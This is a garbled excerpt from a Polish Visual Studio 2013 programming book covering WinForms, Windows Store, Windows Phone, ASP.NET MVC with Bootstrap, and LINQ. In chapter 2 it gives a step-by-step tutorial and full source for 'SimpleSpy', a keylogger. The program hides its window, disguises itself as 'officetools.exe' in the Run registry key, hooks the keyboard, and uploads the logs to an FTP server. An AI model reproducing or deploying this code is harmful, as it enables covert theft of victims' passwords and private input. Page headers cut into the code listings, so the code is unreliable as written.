int damage = (baseDamage * r.Next(1, diceSides)) + damageBonus;
lastAttackerWasPlayer = true;
}
if (playerHealth <= 0)
{
Console.WriteLine("You died.");
Console.ReadKey();
return;
}
if (monster.health <= 0)
{
Rozdział 2. Aplikacje dla Pulpitu 101
Console.ReadKey();
}
}
class Program
{
static void Main(string[] args)
{
Game game = new Game();
game.baseDamage = 2;
game.diceSides = 3;
game.damageBonus = 0;
game.playerExperience = 5;
game.playerHealth = 30;
game.playerLevel = 1;
game.playerMaxHealth = 30;
if (choice[0] == 'y')
{
102 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rysunek 2.1.
Działanie systemu
walki tekstowej
gry RPG
Rozdział 2. Aplikacje dla Pulpitu 103
BackgroundWorker
Pozwala na wykonanie czasochłonnych operacji w osobnym wątku w tle.
Button
CheckBox
Pole wielokrotnego wyboru. Może być zaznaczone lub puste. Pole Checked pozwala
sprawdzić, czy użytkownik zaznaczył tę kontrolkę.
CheckedListBox
ColorDialog
Pozwala na wybór koloru z systemowej palety kolorów.
104 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
ComboBox
DateTimePicker
FolderBrowserDialog
Pozwala wywołać okno przeglądania folderów.
FontDialog
Pozwala użytkownikowi wybrać czcionkę spośród dostępnych w systemie.
GroupBox
Służy do grupowania innych kontrolek.
Label
Etykieta tekstowa. Statyczny tekst. Często używana razem z innymi kontrolkami do ich
opisu.
LinkLabel
Etykieta w formie hiperłącza.
ListBox
Lista elementów.
Rozdział 2. Aplikacje dla Pulpitu 105
ListView
Rozbudowana kontrolka listy. Pozwala na wyświetlenie elementów w postaci ikon, listy
oraz często używanego i przydatnego przy różnych danych raportu.
MaskedTextBox
Pole tekstowe z maską. Pozwala wprowadzić tylko dane o określonym formacie. Można
ustawić jako maskę numer telefonu, kod pocztowy, liczbę itp.
MonthCalendar
Kontrolka kalendarza.
NumericUpDown
OpenFileDialog
Pozwala wywołać okno dialogowe otwierania pliku.
Panel
Graficzny panel. Układa się na nim inne kontrolki.
PictureBox
Kontrolka pozwala wyświetlić obrazek.
106 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
ProgressBar
RadioButton
RichTextBox
Kontrolka pola tekstowego o bogatym formatowaniu. Pozwala formatować tekst po-
dobnie jak na przykład aplikacja WordPad systemu Windows.
SaveFileDialog
Pozwala wywołać okno zapisu pliku.
TabControl
Kontrolka zawierająca zakładki.
TextBox
Timer
Kontrolka licznika czasu. Pozwala wywoływać daną operację co określony przedział
czasowy.
Tooltip
Kontrolka podpowiedzi. Wyświetla chmurkę z informacją w określonym miejscu
formularza.
TrackBar
TreeView
Kontrolka widoku drzewa. Wyświetla elementy w postaci drzewa.
WebBrowser
Kontrolka przeglądarki internetowej. Pozwala wyświetlić stronę internetową. Można
jej użyć w aplikacji, aby na przykład wyświetlać aktualności lub inne informacje ze
strony internetowej.
Aby utworzyć nową kontrolkę, kliknij prawym klawiszem myszy projekt w oknie
Solution Explorer (rysunek 2.2) i wybierz Add > New Item....
Z okna, które się pojawiło, wybierz User Control (rysunek 2.3), na dole wpisz nazwę
kontrolki i kliknij przycisk Add.
Rysunek 2.5.
Projekt interfejsu
kalkulatora
if(radioButton1.Checked)
{
c = a + b;
}
else if (radioButton2.Checked)
{
c = a - b;
}
else if (radioButton3.Checked)
{
c = a * b;
}
else if (radioButton4.Checked)
{
if (b == 0)
MessageBox.Show("Nastąpiła próba podzielenia przez zero.
Procesor został uszkodzony.");
else
c = a / b;
}
textBox3.Text = c.ToString();
}
110 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rysunek 2.6.
Działanie programu
Kalkulator
Zadanie do wykonania
Dodaj do programu Kalkulator pierwiastkowanie oraz potęgowanie.
Utwórz nowy projekt typu Windows Forms (w Visual Studio for Desktop). Na formularz
dodaj trzy przyciski: Record, Stop and Save oraz Play (rysunek 2.7).
Rysunek. 2.7.
Okno tworzonego
rejestratora dźwięku
Teraz w oknie Solution Explorer kliknij prawym klawiszem myszy References i wy-
bierz Add Reference. Znajdź referencję Microsoft.VisualBasic i kliknij OK. Teraz
kliknij Form1 i wybierz View Code. Na górze do przestrzeni nazw dodaj:
using System.Runtime.InteropServices;
W ten sposób, dzięki tym kilku linijkom kodu, mamy w pełni funkcjonalny rejestrator
dźwięku. Program można rozbudować, tworząc ładny interfejs graficzny oraz dodając
możliwość zarządzania plikami z nagraniami (na przykład utworzenia listy nagrań
z możliwością odsłuchania czy usunięcia).
Uruchom Visual Studio for Windows Desktop. Utwórz nowy projekt, wybierając jako
szablon aplikację Windows Forms. W oknie Solution Explorer kliknij podwójnie
Form1.cs. Powinno się uruchomić okno edycji formularza. Kliknij formularz i w oknie
Properties ustaw WindowState na Minimized oraz ShowInTaskbar na False. Teraz okno
programu po uruchomieniu będzie niewidoczne.
Wpisz tam poniższy kod, który jest odpowiedzialny za dodanie do autostartu, założenie
podpięcia do klawiatury oraz uruchomienie licznika czasowego wysyłającego logi.
string tempPath = Path.GetTempPath();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\
Windows\\CurrentVersion\\Run", true);
if (!IsStartupItem())
{
string destFilePath =
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"officetools.exe");
File.Copy(Application.ExecutablePath.ToString(), destFilePath);
hookProcDelegate = hookProc;
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
System.Timers.Timer myTimer = new System.Timers.Timer();
myTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
myTimer.Interval = ti * 60 * 1000;
myTimer.Enabled = true;
W klasie Form1 dodaj jeszcze jedną potrzebną metodę, która sprawdza, czy klucz w reje-
strze już istnieje. Jeśli istnieje, to nie ma sensu dodawać go drugi raz.
private bool IsStartupItem()
{
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\
Windows\\CurrentVersion\\Run", true);
return false;
else
return true;
}
Teraz na dole, w klasie Form1, dodaj poniższy kod. W tym kodzie są metody odpo-
wiedzialne za logowanie wciskanych klawiszy, wysyłanie logów na serwer FTP oraz
formatowanie logów do czytelnego dokumentu HTML.
}
private static void OnTimedEvent(object source, ElapsedEventArgs e)
{
if (Log.Length < 8)
return;
try
{
//WYSYŁANIE NA FTP
FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(FTPServer + "/"
+ logFileName);
ftp.Credentials = new NetworkCredential(FTPUserName, FTPPassword);
ftp.KeepAlive = true;
ftp.UseBinary = true;
ftp.UsePassive = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(fullPath); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
catch(Exception)
{
File.Delete(fullPath);
Log = String.Empty;
logFinal = String.Empty;
}
public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
KeyEventArgs kea = new KeyEventArgs(key);
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
{
if (hCurrentWindow != GetForegroundWindow())
{
StringBuilder sb = new StringBuilder(256);
hCurrentWindow = GetForegroundWindow();
GetWindowText(hCurrentWindow, sb, sb.Capacity);
Log += "<br /><strong>[" + sb.ToString() + "]</strong><br />";
}
if (Keys.Shift == Control.ModifierKeys) shift = 1;
else shift = 0;
switch (kea.KeyCode)
{
case Keys.Back: Log += Colorize("[Backspace]", 1);
break;
case Keys.Tab: Log += Colorize("[Tab]", 1);
break;
case Keys.LineFeed: Log += Colorize("[LineFeed]", 1);
break;
Rozdział 2. Aplikacje dla Pulpitu 115
case Keys.D7:
if (shift == 0)
Log += Colorize("7", 2);
else
Log += Colorize("&", 3);
break;
case Keys.D8:
if (shift == 0)
Log += Colorize("8", 2);
else
Log += Colorize("*", 3);
break;
case Keys.D9:
if (shift == 0)
Log += Colorize("9", 2);
else
Log += Colorize("(", 3);
break;
case Keys.A:
if (shift == 0)
Log += Colorize("a", 4);
else
Log += Colorize("A", 4);
break;
case Keys.B:
if (shift == 0)
Log += Colorize("b", 4);
else
Log += Colorize("B", 4);
break;
case Keys.C:
if (shift == 0)
Log += Colorize("c", 4);
else
Log += Colorize("C", 4);
break;
case Keys.D:
if (shift == 0)
Log += Colorize("d", 4);
else
Log += Colorize("D", 4);
break;
case Keys.E:
if (shift == 0)
Log += Colorize("e", 4);
else
Log += Colorize("E", 4);
break;
case Keys.F:
if (shift == 0)
Log += Colorize("f", 4);
else
Log += Colorize("F", 4);
break;
case Keys.G:
if (shift == 0)
Log += Colorize("g", 4);
Rozdział 2. Aplikacje dla Pulpitu 117
else
Log += Colorize("G", 4);
break;
case Keys.H:
if (shift == 0)
Log += Colorize("h", 4);
else
Log += Colorize("H", 4);
break;
case Keys.I:
if (shift == 0)
Log += Colorize("i", 4);
else
Log += Colorize("I", 4);
break;
case Keys.J:
if (shift == 0)
Log += Colorize("j", 4);
else
Log += Colorize("J", 4);
break;
case Keys.K:
if (shift == 0)
Log += Colorize("k", 4);
else
Log += Colorize("K", 4);
break;
case Keys.L:
if (shift == 0)
Log += Colorize("l", 4);
else
Log += Colorize("L", 4);
break;
case Keys.M:
if (shift == 0)
Log += Colorize("m", 4);
else
Log += Colorize("M", 4);
break;
case Keys.N:
if (shift == 0)
Log += Colorize("n", 4);
else
Log += Colorize("N", 4);
break;
case Keys.O:
if (shift == 0)
Log += Colorize("o", 4);
else
Log += Colorize("O", 4);
break;
case Keys.P:
if (shift == 0)
Log += Colorize("p", 4);
else
Log += Colorize("P", 4);
break;
case Keys.Q:
118 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
if (shift == 0)
Log += Colorize("q", 4);
else
Log += Colorize("Q", 4);
break;
case Keys.R:
if (shift == 0)
Log += Colorize("r", 4);
else
Log += Colorize("R", 4);
break;
case Keys.S:
if (shift == 0)
Log += Colorize("s", 4);
else
Log += Colorize("S", 4);
break;
case Keys.T:
if (shift == 0)
Log += Colorize("t", 4);
else
Log += Colorize("T", 4);
break;
case Keys.U:
if (shift == 0)
Log += Colorize("u", 4);
else
Log += Colorize("U", 4);
break;
case Keys.V:
if (shift == 0)
Log += Colorize("v", 4);
else
Log += Colorize("V", 4);
break;
case Keys.W:
if (shift == 0)
Log += Colorize("w", 4);
else
Log += Colorize("W", 4);
break;
case Keys.X:
if (shift == 0)
Log += Colorize("x", 4);
else
Log += Colorize("X", 4);
break;
case Keys.Y:
if (shift == 0)
Log += Colorize("y", 4);
else
Log += Colorize("Y", 4);
break;
case Keys.Z:
if (shift == 0)
Log += Colorize("z", 4);
else
Log += Colorize("Z", 4);
Rozdział 2. Aplikacje dla Pulpitu 119
break;
case Keys.Oemtilde:
if (shift == 0)
Log += Colorize("`", 3);
else
Log += Colorize("~", 3);
break;
case Keys.OemMinus:
if (shift == 0)
Log += Colorize("-", 3);
else
Log += Colorize("_", 3);
break;
case (Keys)187:
if (shift == 0)
Log += Colorize("=", 3);
else
Log += Colorize("+", 3);
break;
case Keys.OemOpenBrackets:
if (shift == 0)
Log += Colorize("[", 3);
else
Log += Colorize("{", 3);
break;
case Keys.Oem6:
if (shift == 0)
Log += Colorize("]", 3);
else
Log += Colorize("}", 3);
break;
case Keys.Oem5:
if (shift == 0)
Log += Colorize("\\", 3);
else
Log += Colorize("|", 3);
break;
case Keys.Oem1:
if (shift == 0)
Log += Colorize(";", 3);
else
Log += Colorize(":", 3);
break;
case Keys.Oem7:
if (shift == 0)
Log += Colorize("'", 3);
else
Log += Colorize("\"", 3);
break;
case Keys.Oemcomma:
if (shift == 0)
Log += Colorize(",", 3);
else
Log += Colorize("<", 3);
break;
case Keys.OemPeriod:
if (shift == 0)
Log += Colorize(".", 3);
120 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
else
Log += Colorize(">", 3);
break;
case Keys.OemQuestion:
if (shift == 0)
Log += Colorize("/", 3);
else
Log += Colorize("?", 3);
break;
}
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
Pełny kod źródłowy pliku Form1.cs, czyli głównego modułu aplikacji, prezentuje się
następująco:
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Timers;
using System.Windows.Forms;
namespace SimpleSpy
{
public partial class Form1 : Form
{
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc
callback, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam,
ref keyboardHookStruct lParam);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString,
int nMaxCount);
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
static IntPtr hhook = IntPtr.Zero;
static IntPtr hCurrentWindow = IntPtr.Zero;
static string Log = String.Empty;
static string windowTitle = String.Empty;
static byte shift = 0;
//KONFIGURACJA
static int ti = 1; //Co ile minut wysyłać log
static string FTPServer = "ftp://mykeylogger.domain/public_html/panel/";
static string FTPUserName = "username";
static string FTPPassword = "password";
public Form1()
{
InitializeComponent();
}
//The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\
Microsoft\\Windows\\CurrentVersion\\Run", true);
if (!IsStartupItem())
{
122 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
File.Copy(Application.ExecutablePath.ToString(), destFilePath);
//Add the value in the registry so that the application runs at startup
rkApp.SetValue("Office Tools", destFilePath);
}
hookProcDelegate = hookProc;
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
System.Timers.Timer myTimer = new System.Timers.Timer();
myTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
myTimer.Interval = ti * 60 * 1000;
myTimer.Enabled = true;
}
}
private static void OnTimedEvent(object source, ElapsedEventArgs e)
{
if (Log.Length < 8)
return;
try
Rozdział 2. Aplikacje dla Pulpitu 123
{
//WYSYŁANIE NA FTP
FtpWebRequest ftp = (FtpWebRequest)WebRequest.Create(FTPServer +
"/" + logFileName);
ftp.Credentials = new NetworkCredential(FTPUserName, FTPPassword);
ftp.KeepAlive = true;
ftp.UseBinary = true;
ftp.UsePassive = true;
ftp.Method = WebRequestMethods.Ftp.UploadFile;
FileStream fs = File.OpenRead(fullPath); //ścieżka lokalna
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream ftpstream = ftp.GetRequestStream();
ftpstream.Write(buffer, 0, buffer.Length);
ftpstream.Close();
}
catch(Exception)
{
File.Delete(fullPath);
Log = String.Empty;
logFinal = String.Empty;
}
public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
KeyEventArgs kea = new KeyEventArgs(key);
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
{
if (hCurrentWindow != GetForegroundWindow())
{
StringBuilder sb = new StringBuilder(256);
hCurrentWindow = GetForegroundWindow();
GetWindowText(hCurrentWindow, sb, sb.Capacity);
Log += "<br /><strong>[" + sb.ToString() + "]</strong><br />";
}
if (Keys.Shift == Control.ModifierKeys) shift = 1;
else shift = 0;
switch (kea.KeyCode)
{
case Keys.Back: Log += Colorize("[Backspace]", 1);
break;
case Keys.Tab: Log += Colorize("[Tab]", 1);
break;
case Keys.LineFeed: Log += Colorize("[LineFeed]", 1);
break;
case Keys.Clear: Log += Colorize("[Clear]", 1);
break;
case Keys.Return: Log += Colorize("[Enter]<br />", 1);
break;
124 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
else
Log += Colorize("&", 3);
break;
case Keys.D8:
if (shift == 0)
Log += Colorize("8", 2);
else
Log += Colorize("*", 3);
break;
case Keys.D9:
if (shift == 0)
Log += Colorize("9", 2);
else
Log += Colorize("(", 3);
break;
case Keys.A:
if (shift == 0)
Log += Colorize("a", 4);
else
Log += Colorize("A", 4);
break;
case Keys.B:
if (shift == 0)
Log += Colorize("b", 4);
else
Log += Colorize("B", 4);
break;
case Keys.C:
if (shift == 0)
Log += Colorize("c", 4);
else
Log += Colorize("C", 4);
break;
case Keys.D:
if (shift == 0)
Log += Colorize("d", 4);
else
Log += Colorize("D", 4);
break;
case Keys.E:
if (shift == 0)
Log += Colorize("e", 4);
else
Log += Colorize("E", 4);
break;
case Keys.F:
if (shift == 0)
Log += Colorize("f", 4);
else
Log += Colorize("F", 4);
break;
case Keys.G:
if (shift == 0)
Log += Colorize("g", 4);
else
Log += Colorize("G", 4);
break;
case Keys.H:
126 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
if (shift == 0)
Log += Colorize("h", 4);
else
Log += Colorize("H", 4);
break;
case Keys.I:
if (shift == 0)
Log += Colorize("i", 4);
else
Log += Colorize("I", 4);
break;
case Keys.J:
if (shift == 0)
Log += Colorize("j", 4);
else
Log += Colorize("J", 4);
break;
case Keys.K:
if (shift == 0)
Log += Colorize("k", 4);
else
Log += Colorize("K", 4);
break;
case Keys.L:
if (shift == 0)
Log += Colorize("l", 4);
else
Log += Colorize("L", 4);
break;
case Keys.M:
if (shift == 0)
Log += Colorize("m", 4);
else
Log += Colorize("M", 4);
break;
case Keys.N:
if (shift == 0)
Log += Colorize("n", 4);
else
Log += Colorize("N", 4);
break;
case Keys.O:
if (shift == 0)
Log += Colorize("o", 4);
else
Log += Colorize("O", 4);
break;
case Keys.P:
if (shift == 0)
Log += Colorize("p", 4);
else
Log += Colorize("P", 4);
break;
case Keys.Q:
if (shift == 0)
Log += Colorize("q", 4);
else
Log += Colorize("Q", 4);
Rozdział 2. Aplikacje dla Pulpitu 127
break;
case Keys.R:
if (shift == 0)
Log += Colorize("r", 4);
else
Log += Colorize("R", 4);
break;
case Keys.S:
if (shift == 0)
Log += Colorize("s", 4);
else
Log += Colorize("S", 4);
break;
case Keys.T:
if (shift == 0)
Log += Colorize("t", 4);
else
Log += Colorize("T", 4);
break;
case Keys.U:
if (shift == 0)
Log += Colorize("u", 4);
else
Log += Colorize("U", 4);
break;
case Keys.V:
if (shift == 0)
Log += Colorize("v", 4);
else
Log += Colorize("V", 4);
break;
case Keys.W:
if (shift == 0)
Log += Colorize("w", 4);
else
Log += Colorize("W", 4);
break;
case Keys.X:
if (shift == 0)
Log += Colorize("x", 4);
else
Log += Colorize("X", 4);
break;
case Keys.Y:
if (shift == 0)
Log += Colorize("y", 4);
else
Log += Colorize("Y", 4);
break;
case Keys.Z:
if (shift == 0)
Log += Colorize("z", 4);
else
Log += Colorize("Z", 4);
break;
case Keys.Oemtilde:
if (shift == 0)
Log += Colorize("`", 3);
128 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
else
Log += Colorize("~", 3);
break;
case Keys.OemMinus:
if (shift == 0)
Log += Colorize("-", 3);
else
Log += Colorize("_", 3);
break;
case (Keys)187:
if (shift == 0)
Log += Colorize("=", 3);
else
Log += Colorize("+", 3);
break;
case Keys.OemOpenBrackets:
if (shift == 0)
Log += Colorize("[", 3);
else
Log += Colorize("{", 3);
break;
case Keys.Oem6:
if (shift == 0)
Log += Colorize("]", 3);
else
Log += Colorize("}", 3);
break;
case Keys.Oem5:
if (shift == 0)
Log += Colorize("\\", 3);
else
Log += Colorize("|", 3);
break;
case Keys.Oem1:
if (shift == 0)
Log += Colorize(";", 3);
else
Log += Colorize(":", 3);
break;
case Keys.Oem7:
if (shift == 0)
Log += Colorize("'", 3);
else
Log += Colorize("\"", 3);
break;
case Keys.Oemcomma:
if (shift == 0)
Log += Colorize(",", 3);
else
Log += Colorize("<", 3);
break;
case Keys.OemPeriod:
if (shift == 0)
Log += Colorize(".", 3);
else
Log += Colorize(">", 3);
break;
case Keys.OemQuestion:
if (shift == 0)
Rozdział 2. Aplikacje dla Pulpitu 129
}
}
Button
Calendar
130 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Kontrolka kalendarza.
CheckBox
ComboBox
Lista rozwijana.
DatePicker
GroupBox
Image
Kontrolka pozwalająca wyświetlić obrazek.
Rozdział 2. Aplikacje dla Pulpitu 131
Label
Etykieta tekstowa.
ListBox
Kontrolka listy.
ListView
PasswordBox
ProgressBar
RadioButton
RichTextBox
132 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
ScrollViewer
Kontrolka, której obszar można przewijać.
Slider
TextBlock
Blok tekstu.
TextBox
TreeView
WebBrowser
Uruchom Visual Studio 2013 for Windows. Utwórz nowy projekt. Jako typ wybierz Store
Apps > Windows Apps. Jako szablon wybierz Blank App (rysunek 3.1).
Rysunek 3.2.
Główna strona aplikacji
Rysunek 3.3.
Projekt strony aplikacji
z kontrolką TextBlock
Pod kontrolką TextBlock ustaw kontrolkę Button. Zmień jej właściwość Content
w oknie Properties na „Losuj cytat” (rysunek 3.4).
Teraz w oknie projektowania kliknij podwójnie przycisk „Losuj cytat”, aby wygene-
rować zdarzenie kliknięcia przycisku.
Rozdział 3. Aplikacje dla Sklepu Windows 135
Rysunek 3.4.
Prototyp aplikacji
z polem tekstowym
przeznaczonym na cytat
i przyciskiem losującym
Rysunek 3.5.
Ustawianie nazwy
kontrolki
W ten oto prosty sposób stworzyłeś aplikację dla Windows 8 i Windows 8.1. Możesz
ją dowolnie przerabiać i ulepszać, np. dodać losowanie przy starcie aplikacji (żeby nie
musieć klikać przycisku), no i oczywiście dodać więcej cytatów.
Rysunek 3.6.
Działanie aplikacji
Cytat na dziś
Rozdział 4.
Aplikacje
dla Windows Phone
Aplikacje dla telefonów z Windows Phone mają trzy rodzaje głównych kontrolek, na
których zbudowana jest aplikacja. Może to być aplikacja składająca się z jednej strony
lub z kontrolki Hub, Pivot albo Panorama.
Rysunek 4.1.
Aplikacja Windows
Phone z kontrolką Hub
138 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rysunek 4.2.
Kontrolka Pivot
Rysunek 4.3.
Kontrolka Panorama
Rozdział 4. Aplikacje dla Windows Phone 139
na następujący:
SupportedOrientations="Landscape" Orientation="Landscape"
Teraz w widoku projektowania interfejsu ułóż kontrolki podobnie jak na rysunku 4.4.
Rysunek 4.4.
Projekt interfejsu
programu Stoper
{
hundrethOfASecond++;
if(hundrethOfASecond >= 99)
{
second++;
hundrethOfASecond = 0;
}
txtTime.Text = second.ToString("D2") + ":" + hundrethOfASecond.ToString("D2");
}
Teraz wystarczy, że w zdarzeniu kliknięcia przycisku Start dodasz kod jak na listingu 4.2.
{
timer1.Stop();
}
Rysunek 4.5.
Działanie aplikacji
Stoper w emulatorze
142 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 5.
Aplikacje internetowe
ASP.NET MVC
Uruchom Visual Studio 2013 Express for Web i utwórz nowy projekt, wybierając FILE
> New Project. Wybierz ASP.NET MVC 4 Web Application (rysunek 5.1).
W następnym oknie wybierz rodzaj szablonu Basic oraz View Engine zaznacz jako Razor.
Na początek dodaj główny kontroler. Skrót MVC oznacza Model View Controller.
Kontroler przetwarza dane z modelu i wyświetlane są one w widoku. Cała logika
aplikacji powinna być w akcjach kontrolerów. Nowy kontroler dodaj, klikając raz pra-
wym klawiszem myszy pozycję Controllers w oknie Solution Explorer i wybierając Add
> Controller (rysunek 5.2).
144 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Teraz w oknie Add Controller, w polu Controller Name wpisz PageController. W Tem-
plate wybierz Empty MVC Controller. Po dodaniu nowego kontrolera powinien się
otworzyć kod źródłowy tego kontrolera. Każdy kontroler zawiera metody nazywane ak-
cjami. Do danej akcji można przypisać widok (ang. view). Kliknij prawym klawiszem
myszy nazwę akcji Index i wybierz Add View (rysunek 5.3).
Rysunek 5.3.
Dodawanie widoku
do kontrolera
Po dodaniu widoku utworzony został plik Index.cshtml. Plik ten po dodaniu powinien
Ci się automatycznie otworzyć w środowisku. Widoki zawierają kod w składni Razor.
W uproszczeniu jest to pomieszany kod języka C# i języka HTML. Jeśli chcesz mię-
dzy fragmenty HTML dodać jakiś kod w C#, musisz go zawrzeć pomiędzy klamrami,
a przed klamrami dać znak małpy, np.
<!-- poniższy kod wyświetli aktualną datę i czas -->
@{ var today = DateTime.Now.ToString(); }
Teraz jest @today
Zatem w plikach widoków zawierasz nie cały kod strony, tylko ciało. Nie musisz za
każdym razem powielać baneru, menu i stopki strony, lecz tylko samą zawartość, czyli
treści podstron.
Żeby strona w ogóle się uruchomiła, trzeba wykonać jeszcze jedną rzecz. Kontroler został
nazwany PageController, a domyślna nazwa dla głównego kontrolera to HomeCon-
troller. W oknie Solution Explorer wejdź do elementu App_Start > RouteConfig.cs
Rozdział 5. Aplikacje internetowe ASP.NET MVC 145
Szablon strony można edytować, otwierając plik Views > Shared > _Layout.cshtml.
Należy pamiętać, że tam gdzie chcemy wyświetlać zawartość podstron, należy wsta-
wić polecenie @RenderBody().
Do wyglądu strony (tzw. front end) można użyć frameworka Bootstrap. Trzeba wtedy
zainstalować paczkę NuGet (rysunek 5.4).
Rysunek 5.4.
Instalacja paczek NuGet
w projekcie. Następnie
w wyszukiwarce należy
wpisać „bootstrap”.
Najlepiej wybrać tę
paczkę, która ma
najwięcej pobrań
(rysunek 5.5).
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Bootstrap 101 Template</title>
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media
queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/
html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<h1>Hello, world!</h1>
Rysunek 5.7.
Kod inline w Bootstrap
Rysunek 5.8.
Wejście z klawiatury w Bootstrap
Rysunek 5.10.
Tabela w Bootstrap
Rysunek 5.11.
Prosty formularz
w Bootstrap
5.1.8. Przyciski
<a class="btn btn-default" href="#" role="button">Link</a>
<button class="btn btn-default" type="submit">Button</button>
<input class="btn btn-default" type="button" value="Input">
<input class="btn btn-default" type="submit" value="Submit">
Rysunek 5.12.
Różne rodzaje
przycisków w Bootstrap
<!-- Standard button -->
<button type="button" class="btn btn-default">Default</button>
<!-- Provides extra visual weight and identifies the primary action in a set of
buttons -->
<button type="button" class="btn btn-primary">Primary</button>
<!-- Deemphasize a button by making it look like a link while maintaining button
behavior -->
<button type="button" class="btn btn-link">Link</button>
Rysunek 5.13.
Różne style przycisków
w Bootstrap
Rozdział 5. Aplikacje internetowe ASP.NET MVC 149
Rysunek 5.14.
Kształty obrazków
w Bootstrap
5.1.10. Stronicowanie
<nav>
<ul class="pagination">
<li>
<a href="#" aria-label="Previous">
<span aria-hidden="true">«</span>
</a>
</li>
<li><a href="#">1</a></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
<li><a href="#">4</a></li>
<li><a href="#">5</a></li>
<li>
<a href="#" aria-label="Next">
<span aria-hidden="true">»</span>
</a>
</li>
</ul>
</nav>
Rysunek 5.15.
Stronicowanie w Bootstrap
5.1.11. Etykiety
<h3>Example heading <span class="label label-default">New</span></h3>
<span class="label label-default">Default</span>
<span class="label label-primary">Primary</span>
<span class="label label-success">Success</span>
<span class="label label-info">Info</span>
<span class="label label-warning">Warning</span>
<span class="label label-danger">Danger</span>
150 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rysunek 5.16.
Etykiety w Bootstrap
Rysunek 5.17.
Odznaki (ang. badges)
w Bootstrap
5.1.13. Jumbotron
<div class="jumbotron">
<h1>Hello, world!</h1>
<p>...</p>
<p><a class="btn btn-primary btn-lg" href="#" role="button">Learn more</a></p>
</div>
Rysunek 5.18.
Komponent Jumbotron
w Bootstrap
5.1.14. Powiadomienia
<div class="alert alert-success" role="alert">...</div>
<div class="alert alert-info" role="alert">...</div>
<div class="alert alert-warning" role="alert">...</div>
<div class="alert alert-danger" role="alert">...</div>
Rozdział 5. Aplikacje internetowe ASP.NET MVC 151
Rysunek 5.19.
Powiadomienia
w Bootstrap
Rysunek 5.20.
Paski postępu
w Bootstrap
152 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
5.1.16. Panel
<div class="panel panel-primary">
<div class="panel-heading">
<h3 class="panel-title">Panel title</h3>
</div>
<div class="panel-body">
Panel content
</div>
</div>
Rysunek 5.21.
Panel w Bootstrap
Rysunek 5.22.
Różne rodzaje paneli
w Bootstrap
Rozdział 6.
LINQ
Technologia LINQ pozwala na tworzenie zapytań na obiektach. Budowę LINQ
przedstawia rysunek 6.1.
Rysunek 6.1.
Architektura LINQ.
